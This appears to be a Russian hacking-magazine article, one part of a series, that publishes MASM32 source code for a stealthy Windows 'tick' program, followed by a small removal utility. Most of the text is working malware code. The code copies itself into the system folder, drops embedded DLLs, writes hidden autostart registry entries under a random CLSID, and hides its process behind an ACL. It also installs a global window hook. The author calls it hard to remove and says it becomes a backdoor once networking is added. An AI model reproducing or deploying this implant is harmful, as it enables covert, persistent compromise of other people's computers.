Продолжаем статью «Клещ для MS
Windows
«. Вот немного урезанные исходники exe-файла.

exe_asm.asm (MASM32) : 

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\ole32.inc
includelib \masm32\lib\ole32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib 
includelib \masm32\lib\advapi32.lib

; =============
;
Функции
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
MyClearStr PROTO :DWORD,:DWORD
; =============

; данные
.DATA 
ClassName db «exe_asmClass»,0
IconName db «exe_asmIcon»,0
kernel32 db «kernel32.dll», 0
func db «RegisterServiceProcess», 0
;
сообщение окну приложения, что надо закрыться.
;
иначе закрыть его будет нельзя — перезапуск стоит.
;
а закрыть надо. при выходе из MS
Win.

WM_EXE1 equ WM_USER + 111
; имена файлов
dll1 db «\dll1.dll»,0
dll2 db «\dll2.dll»,0
dll2_f db «dll2.dll»,0
DatFile db «\exe_asm.dat»,0
DopFile db «\exe_asm.dop»,0

; для автозагрузки параметры реестра
OneStr db «CLSID\»,0
TwoStr db «\InProcServer32»,0
ThreeStr db «Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad»,0

; функция hook-а
DLLfunc db «AutoProc»,0
myGUID CLSID <>
AppName db «EXE1»,0
AppName1 db «\exe_asm.exe»,0

dll1_0 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
dll1_1 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0
dll1_2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 192, 0, 0, 0
;
здесь данные dll1.dll
dll1_81 db 0, 16, 0, 0, 28, 0, 0, 0, 15, 48, 25, 48, 30, 48, 59, 48, 86, 48, 102, 48, 108, 48, 114, 48, 120, 48, 0, 0, 0, 0, 0, 0

dll2_0 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
dll2_1 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0
dll2_2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 192, 0, 0, 0
;
здесь данные dll2.dll
dll2_84 db 188, 49, 194, 49, 200, 49, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

; =============
.DATA?
hInstance dd ?
CommandLine dd ?
WinDir1 db 1024 dup(?)
WinDir2 db 1024 dup(?)
WinDir3 db 1024 dup(?)
WinDir4 db 1024 dup(?)
WinDir5 db 1024 dup(?)
FileRun db 1024 dup(?)
sf dd ?
FHndl dd ?
par1 dd ?
par2 dd ?
DStr0 db 6670 dup (?)
DStr2 db 6670 dup (?)
pKey dd ?
dll1_dll dd ?
dll_func dd ?
cmd dd ?
file0 dd ?

; =============
;
Код
.CODE
start: 
;
Преобразование всех имен файлов в путь-имя в системном каталоге
invoke GetSystemDirectory , addr WinDir1, 1024
invoke lstrcpy, addr WinDir2, addr WinDir1
invoke lstrcpy, addr WinDir3, addr WinDir1
invoke lstrcpy, addr WinDir4, addr WinDir1
invoke lstrcpy, addr WinDir5, addr WinDir1
invoke lstrcat,addr WinDir1, addr AppName1
invoke lstrcat,addr WinDir2, addr dll1
invoke lstrcat,addr WinDir3, addr dll2
invoke lstrcat,addr WinDir4, addr DatFile
invoke lstrcat,addr WinDir5, addr DopFile

; проверка на запущенный второй экземпляр
invoke _lcreat, addr WinDir5, 0
.IF eax == 4294967295
jmp quit
.ENDIF 
invoke _lclose, eax
invoke DeleteFile, addr WinDir5
.IF eax == 0
jmp quit
.ENDIF
invoke FindWindow,0,addr AppName
cmp eax, 0
jne quit 

; получаем путь запуска программы
invoke GetModuleFileName,NULL,addr FileRun, 1024
;
приводим буквы к одинаковой высоте
invoke lcase, addr FileRun
invoke lcase, addr WinDir1

; сравниваем. если запуск не в системном каталоге MS Win- см. статью
invoke lstrcmp, addr WinDir1, addr FileRun
.IF eax !=0 
invoke CopyFile, addr FileRun, addr WinDir1, FALSE
.IF eax != 0
;
Попытка открыть
invoke _lopen, addr WinDir1, OF_READ
;
если не вышло — на выход
.IF eax == 4294967295
jmp enddat
.ENDIF
mov cmd, eax
;
получаем размер
invoke GetFileSize, cmd, NULL
mov sf, eax
;
резервируем область в памяти
invoke GlobalAlloc, 64, eax
cmp eax,0
je enddat
mov FHndl, eax
;
читаем содержимое в память и закрываем 
invoke _lread, cmd, FHndl, sf
invoke _lclose, cmd
; X
ORим данные в памяти по значению 32
push edi
mov ecx, sf
mov edi, FHndl
labdat:
mov al, byte ptr [edi]
xor al, 32
mov byte ptr [edi], al
inc edi
loop labdat
pop edi 
;
создаем dat-файл
invoke _lcreat, addr WinDir4, 0
mov cmd, eax
;
пишем туда
invoke _lwrite, cmd, FHndl, sf
;
закрываем и освобождаем память
invoke _lclose, cmd 
invoke GlobalFree, FHndl
enddat:
;
запуск с системного каталога MS Win и на выход
invoke WinExec, addr WinDir1, SW_RESTORE
jmp quit
.ENDIF
.ENDIF

; пишем дополнительные dll
invoke _lcreat, addr WinDir2, 0
mov file0,eax
.IF file0 != 4294967295 
invoke _lwrite, file0, addr dll1_1, 32
invoke _lwrite, file0, addr dll1_2, 32
invoke _lwrite, file0, addr dll1_3, 32
;
здесь запись dll1.dll
invoke _lwrite, file0, addr dll1_0, 32
invoke _lclose, file0
.ENDIF

invoke _lcreat, addr WinDir3, 0
mov file0,eax
.IF file0 != 4294967295 
invoke _lwrite, file0, addr dll2_1, 32
invoke _lwrite, file0, addr dll2_2, 32
invoke _lwrite, file0, addr dll2_3, 32
; здесь запись dll2.dll
invoke _lwrite, file0, addr dll2_0, 32
invoke _lclose, file0
.ENDIF

; АВТОЗАГРУЗКА
;
создаем GUID
invoke MyClearStr, offset DStr0, 6666
invoke MyClearStr, offset DStr2, 6666
invoke CoCreateGuid, addr myGUID
.IF eax == 0 
mov par1, offset DStr2
;
приводим его к строке
invoke StringFromCLSID, addr myGUID, addr par1
.IF eax == 0 
mov par2,0
push edi
mov edi, par1
.WHILE TRUE
invoke lstrcat, addr DStr0, edi
add edi,2
inc par2
.BREAK .IF par2 == 38
.ENDW
pop edi
.ENDIF
.ENDIF
invoke MyClearStr, offset DStr2, 6670
;
открываем реестр
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr pKey
mov par1, 1000
mov par2, REG_SZ
;
читаем параметр автозапуска
invoke RegQueryValueEx, pKey, addr AppName, NULL, addr par2, addr DStr2, addr par1
invoke lstrlen, addr DStr2
.IF eax < 38
invoke lstrcpy, addr DStr2, addr OneStr
invoke lstrcat, addr DStr2, addr DStr0
invoke lstrcat, addr DStr2, addr TwoStr
;
если параметра нет — пишем его туда
invoke RegCreateKey, HKEY_CLASSES_ROOT, addr DStr2, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, NULL, NULL, REG_SZ, addr dll2_f, sizeof dll2_f
invoke RegCloseKey, pKey
.ENDIF
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr AppName, NULL, REG_SZ, addr DStr0, 38
invoke RegCloseKey, pKey
.ENDIF 
.ENDIF

; инициализация
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: 
invoke ExitProcess,eax

;—————————————
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
;
регистрируем и создаем окно
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,offset ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,addr ClassName,addr AppName,WS_OVERLAPPEDWINDOW,100,100,200,50,NULL,NULL,hInst,NULL
mov hwnd,eax

; показываем его. если не надо — 2 нижние строчки можно удалить
invoke ShowWindow, hwnd,SW_SHOWNORMAL 
invoke UpdateWindow, hwnd

; запуск обработки сообщения
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

; функция обработки оконных сообщений
; ——————————————————————————————————-
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL myACL1 : ACL
LOCAL Ver: OSVERSIONINFO

; если создается окно
.IF uMsg == WM_CREATE
;
получаем версию
mov Ver.dwOSVersionInfoSize, SizeOf Ver
invoke GetVersionEx, addr Ver
;
скрываем приложение
.IF Ver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS
invoke GetModuleHandle, ADDR kernel32
or eax,eax
jz beg0
invoke GetProcAddress, eax, ADDR func
or eax, eax
jz beg0
push 1
push 0
call eax
.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke InitializeAcl, addr myACL1, sizeof ACL, 2
cmp eax,0
je beg0
invoke IsValidAcl, addr myACL1
cmp eax,0
je beg0
invoke GetCurrentProcess 
mov ebx,eax
invoke SetSecurityInfo, ebx, 6, 4, 0, 0, addr myACL1, 0
.ENDIF
beg0: 

; грузим dll и функцию оттуда для установки hook-а
invoke LoadLibrary, addr WinDir2
mov dll1_dll,eax
.IF (dll1_dll == 0)
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ENDIF
invoke GetProcAddress, dll1_dll, addr DLLfunc
.IF (eax == 0) 
invoke FreeLibrary, dll1_dll
invoke PostQuitMessage,NULL 
xor eax,eax
ret
.ENDIF
;
ставим hook
invoke SetWindowsHookEx, WH_CALLWNDPROC, eax, dll1_dll, 0
mov dll_func, eax

.ELSEIF uMsg == WM_DESTROY
invoke PostQuitMessage,NULL
xor eax,eax
ret

; если послано
пользовательское специальное сообщение —

;
убрать Hook и выйти
.ELSEIF uMsg == WM_EXE1
invoke UnhookWindowsHookEx, dll_func
invoke FreeLibrary, dll1_dll
invoke PostQuitMessage,NULL
xor eax,eax
ret

.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

; proc MyClearStr — очистка строки
MyClearStr PROC StrClear : DWORD, Len : DWORD
push edi
mov ecx, Len
mov edi, StrClear
lll: mov byte ptr [edi],0
inc edi
loop lll
pop edi
ret
MyClearStr ENDP

END start 

Для компиляции exe-файла с иконкой icon.ico, необходимо в каталог с исходником добавить файл rsrc.rc с текстом 500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE
«icon.ico».

Исходники на Delphi exe-файла вставлять сюда я не буду. По аналогии с исходниками дополнительных dll можно переписать практически на любой язык. И вообще, такие вещи должны делаться как минимум на MASM32 или другой производной от ассемблера.

Все. Программа работает и удалить ее (не зная как) очень непросто. При этом она весит всего 10
Кб в несжатом виде и содержит окно, к которому можно «подвесить» сокетный движок и программа превратится в нормальный BackDoor. Можно еще усложнить. При выгрузке dll2.dll сделать запись параметра автостарта в реестр (см. исходник exe-файла), а при загрузке не закрывать файл с xor-енными данными. Таким образом dll2.dll и exe_*.dat удалить нельзя и при выходе из MS Windows, автостарт будет снова записан. Тогда вывести такого «клеща» будет ДЕЙСТВИТЕЛЬНО очень
тяжело. Для удаления же этого напишем небольшую программу, которая будет прерывать работу exe-файла и удалять параметры автостарта в системном реестре.

del_exe.asm (MASM32) : 

.DATA 
WM_EXE1 equ WM_USER + 111
AppName db «EXE1»,0
DopFile db «exe_asm.dop»,0
OneStr db «CLSID\»,0
TwoStr db «\InProcServer32»,0
ThreeStr db «SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad»,0

; =============
.DATA?
pKey dd ?
SysDir db 6666 dup (?)
DStr0 db 6666 dup (?)
DStr2 db 6666 dup (?)
cmd0 dd ?
dll1 dd ?
dll0 dd ?
; =============
; =============
; =============
.CODE
start: 
invoke GetSystemDirectory , addr SysDir, 1024
invoke lstrcat,addr SysDir,addr bkl
invoke lstrcat,addr SysDir,addr DopFile
invoke _lcreat, addr SysDir, 0
mov cmd0, eax
invoke _lwrite, cmd0, addr A3, sizeof A3

.WHILE TRUE
invoke FindWindow,0,addr AppName
.BREAK .IF eax == 0
invoke SendMessage, eax, WM_EXE1, 0, 0
.ENDW
invoke Sleep, 500
invoke FindWindow,0,addr AppName
.IF eax != 0
invoke SendMessage, eax, WM_EXE1, 0, 0
.ENDIF
invoke FindWindow,0,addr AppName
invoke _lclose, cmd0
invoke DeleteFile, addr SysDir

push edi
mov ecx,1000
mov edi, offset DStr0
lll: mov byte ptr [edi],0
inc edi
loop lll
mov ecx,1000
mov edi, offset DStr2
lll1: mov byte ptr [edi],0
inc edi
loop lll1
pop edi 
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr pKey
.IF eax == 0
mov dll0, REG_SZ 
mov dll1, 1000
invoke RegQueryValueEx, pKey, addr AppName, 0, addr dll0, addr DStr0, addr dll1
invoke RegCloseKey, pKey
invoke lstrlen, addr DStr0
.IF eax >30
invoke lstrcpy, addr DStr2, addr OneStr
invoke lstrcat, addr DStr2, addr DStr0
invoke lstrcat, addr DStr2, addr TwoStr
invoke RegDeleteKey, HKEY_CLASSES_ROOT, addr DStr2
invoke lstrcpy, addr DStr2, addr OneStr
invoke lstrcat, addr DStr2, addr DStr0
invoke RegDeleteKey, HKEY_CLASSES_ROOT, addr DStr2
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr pKey
.IF eax == 0
invoke RegDeleteValue, pKey, addr AppName
invoke RegCloseKey, pKey
.ENDIF
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
invoke PostQuitMessage,NULL
invoke ExitProcess,0

END start 

Переписать это на Delphi не составит труда (см. исходники второй дополнительной dll). Все исходники и исполняемые файлы, рассмотренные в статье, находятся на моей странице
www.danil.com.ua, www.danil.dp.ua

Что еще почитать
Клещ для MS Windows
#1

Клещ для MS Windows
#2

Система перехвата функций API платформы Win32

Примеры:
mswin.zip — исходники и скомпилированные файлы, рассмотренные в статье.

Программа
«Dks (KeySpy)» — написана по рассмотренным
алгоритмам.

Программа
«DTr (RemoteAdmin)» — серверная часть написана
по рассмотренным алгоритмам.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Оставить мнение

Check Also

Кеш-атаки по сторонним каналам. Что произошло в области утечек на аппаратном уровне за последние два года

Несмотря на то что до 2016 года существовало лишь несколько публикаций о кеш-атаках на сма…